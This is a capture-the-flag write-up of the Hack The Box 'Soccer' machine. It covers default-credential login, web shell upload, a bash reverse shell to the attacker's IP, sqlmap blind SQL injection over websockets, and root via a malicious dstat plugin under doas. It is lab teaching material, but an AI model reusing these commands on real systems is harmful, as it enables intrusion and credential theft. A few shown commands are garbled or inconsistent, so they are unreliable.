Hack The Box Soccer Writeup

In thix box the initial steps entail accessing an admin panel using default credentials, uploading a web shell for a foothold, and then conducting enumeration to uncover additional subdomains. Afterward, a distinctive attack method involves utilizing blind SQL injection via websockets to extract credentials from a MySQL database. Finally, privilege escalation to root is achieved by exploiting vulnerabilities in doas.
Enummeration
As usual we kick off by scanning by the wire.
┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ sudo nmap -sC -sV -p- 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
...[snip]...
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.65 seconds
The soccer.htb website is a straightforward football fan club page with news updates displayed at the bottom of the page.
After conducting directory brute-forcing on the domain, I came across a /tiny page, which leads to the H3K Tiny File Manager.
Upon reviewing the Documentation, I discovered the default credentials, which are admin:admin@123. With these credentials, I successfully logged in.
The tiny directory has the filemanager page, as well as the uploads directory:
Initial Foothold
I’ll use the “Upload” button, and it offers a way to upload to /var/www/html/:
I’ll start nc listening on 443 on my host, and trigger a reverse shell by sending a bash reverse shell:
┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.16/443 0>%261"'
Both using the GUI and bash methods were hanging during this upload, but looking back on our machine, we had a reverse shell.
┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.194 55140
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$
We can upgrade our shell with python and stty.
python3 import os; pty.spawn("bash/sh");
stty raw -echo: fg
export TERM=xterm
While enumerating I found the soc-player.htb file within nginx’s sites-available directory. Looking into it shows another subdomain I proceeded to add to my hosts file: soc-player.soccer.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
This webserver is hosted out of /root/, which is interesting, and passes to localhost 3000 (as observed previously). I’ll update my hosts file:
sudo echo '10.10.11.194 soccer.htb soc-player.soccer.htb' >> /etc/hosts
Upon investigating the new subdomain, soc-player.soccer.htb appears to be a website dedicated to live broadcasts of soccer games. It specifically mentions that you receive a complimentary ticket upon signing up.
Registering grants you a ticket ID, which, when entered into the input box, confirms the existence of the ticket.
After discovering the MySQL server running internally and examining the soc-player website, which utilizes a WebSocket to communicate with port 9091, further research led me to an article on blind SQL injection over websockets: link. Following the instructions outlined in the article, I executed the blind SQLi server and provided it with the ID obtained from soc-player using an sqlmap command. The final code, with adjustments to ensure compatibility with the machine, is as follows:
After running an sqlmap command to inspect and dump the data here is the following data I came across:
┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
...[snip]...
When dealing with boolean and time-based SQL injections, it's crucial to exercise caution when extracting large amounts of data, as it can significantly slow down the process. However, considering there's only one table involved, I aim to retrieve the entire dataset. To accomplish this, I substituded --tables
with "-T accounts" and include "--dump".
So after dumping our credentials I tried them on ssh and they worked, thus grabbing our user flag!
┌──(kali㉿kali)-[~/HTB/Soccer]
└─$ www-data@soccer:/home/player$ su player -
Password:
player@soccer:~$cat user.txt
df7f36e9************************
Privilege Escalation
Onto enumeration, I found an SUID binary called doas. doas
is simply a program like sudo
, it allows you to run a command/program as another user.
player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
...[snip]...
I don’t see a doas.conf file in /etc, so I’ll search the filesystem for it with find:
player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
It has one line:
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
The user "player" can run the "dstat" command as root without any requirements. Upon further reading of the "dstat" manual page, we discovered that we can upload our own plugin written in Python. The next step would be to create our own plugin that will provide us with a root shell. Looking at the list of locations, I can obviously write to ~/.dstat, but when run with doas, it’ll be running as root, and therefore won’t check /home/player/.dstat. Luckily, /usr/local/share/dstat is writable.
player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dtstat_root.py
We can go ahead and run our shell in this case.
player@soccer:~$ doas /usr/bin/dstat --root
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
root@soccer:/home/player#
From here you can grab the flag and call it a box ;)
root@soccer:~# cat root.txt
774a30b5************************
Haappy hacking. Cheers!